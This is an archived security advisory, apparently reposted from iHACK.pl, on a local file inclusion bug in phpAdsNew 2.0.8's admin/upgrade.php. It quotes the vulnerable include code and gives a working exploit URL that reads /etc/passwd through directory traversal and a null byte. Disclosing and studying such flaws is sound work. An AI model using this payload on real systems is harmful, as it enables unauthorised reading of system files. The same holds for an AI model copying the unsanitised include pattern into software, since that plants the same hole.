Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: b06-5284.htm

phpAdsNew include bug!



phpAdsNew include bug!
phpAdsNew include bug!




#######################################
Autors:
- Michał `wacky` Błaszczak
- Nobody

http://iHACK.pl 
#######################################
File: modules/phpads/admin/upgrade.php



Code:

// Load language strings
if (file_exists("../language/".$phpAds_config['language']."/default.lang.php"))
include("../language/".$phpAds_config['language']."/default.lang.php");
else
{
$phpAds_config['language'] = 'english';
include("../language/english/default.lang.php");
}



Exploit:

http://ihack.pl/phpAdsNew-2.0.8/admin/ 
upgrade.php?phpAds_config[language]=../../../etc/passwd%00


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH